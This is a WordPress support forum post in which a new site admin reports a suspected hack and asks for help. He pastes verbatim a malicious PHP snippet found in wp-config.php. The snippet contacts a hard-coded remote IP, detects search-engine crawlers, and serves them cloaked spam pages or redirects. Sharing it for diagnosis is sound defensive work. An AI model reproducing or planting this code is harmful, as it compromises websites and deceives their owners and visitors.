Hacked?????
-
I’m almost certain that one our WordPress sites got hacked. The address is https://www.MarilynAndSarah.org. When you get to the main page (at least using FireFox) you’ll see all kinds of “transferring data” clues on the bottom left section of your browser. The main culprit is:
lphbs.com
I looked through TONS of documentation, read this and that, installed this plugin, looked at other posts about “what to look for when you think you are hacked” and I did find some code, specifically in the “wp-config.php” file:
define ('WPLANG', ''); error_reporting(0);$sd="";$pts=explode("?",$_SERVER['REQUEST_URI']);$pt=$pts[0];$d1="212.117.169.139";$f1="/allmykey4.txt";$fp1=fsockopen($d1,80,$erno,$erstr,30);if(!$fp1){print "Err: $erstr [$erno]";}else{fwrite($fp1,"GET $f1 HTTP/1.0\r\n");fwrite($fp1,"Host: $d1\r\n\r\n");while(!feof($fp1)){$h1.=fread($fp1,512);}fclose($fp1);}preg_match_all("!<begin>([^<]+)<end>!",$h1,$m1);$rkk=$m1[1][rand(0,count($m1[0])-1)];$rk=explode("@",$rkk);$rd=$rk[0];$rp=$rk[1];$a=$_SERVER['HTTP_USER_AGENT'];$ra=$_SERVER['HTTP_REFERER'];if(eregi("google",$a)||eregi("Googlebot",$a)||eregi("slurp",$a)||eregi("msnbot",$a)||eregi("google.",$ra)||eregi("yahoo.",$ra)||eregi("live.",$ra)||eregi("msn.",$ra)||eregi("bing.",$ra)){$d4=$rd;if(!eregi("/news",$pt)){$f4="/news".$pt;$f4=str_replace($sd,"",$f4);}else{$f4=str_replace($sd,"",$pt);}$fp4=fsockopen($d4,80,$erno,$erstr,30);if(!$fp4){print "Err: $erstr [$erno]";}else{fwrite($fp4,"GET $f4 HTTP/1.0\r\n");fwrite($fp4,"Host: $d4\r\n\r\n");while(!feof($fp4)){$h4.=fread($fp4,512);}fclose($fp4);}$bo="<frameset rows='100%,*' noresize><frame src='https://".$d4."/".$f4."' noresize></frameset><body>";$h4=str_replace('<body>',$bo,$h4);if(eregi("<h1>Page not found, 404 error</h1>",$h4)){$ru="/".$sd.$rp;header("HTTP/1.1 301");header("Location: $ru");exit();}else{$x4=explode("\r\n",$h4);for($m=9;$m<sizeof($x4);$m++){echo $x4[$m];}exit();}}
I’ve taken some precautions to strengthen security measures but those take time. I just started working here a few weeks ago and my laundry list continues to grow!
Anyway if anyone has any ideas at all that would be splendid!
Thanks again comrades as you’ve never failed me yet!
Mark
- The topic ‘Hacked?????’ is closed to new replies.